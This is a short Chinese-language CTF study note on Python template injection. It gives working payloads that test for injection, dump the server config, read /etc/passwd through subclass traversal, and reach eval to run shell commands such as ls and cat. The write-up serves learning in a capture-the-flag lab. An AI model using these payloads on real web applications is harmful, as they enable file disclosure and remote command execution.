「配枪朱丽叶。」

RootのCTF学习笔记。

Web_python_template_injection(python模板注入)

[1] {{1+1}}测试,存在模板注入:

[2] {{config.items()}} 可以查看服务器的配置信息:

[3] 读取password信息:

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

[4] 命令执行,(ls列出文件):

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}  
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

找到fl4g

[5] 同上一步,修改命令为cat fl4g即可。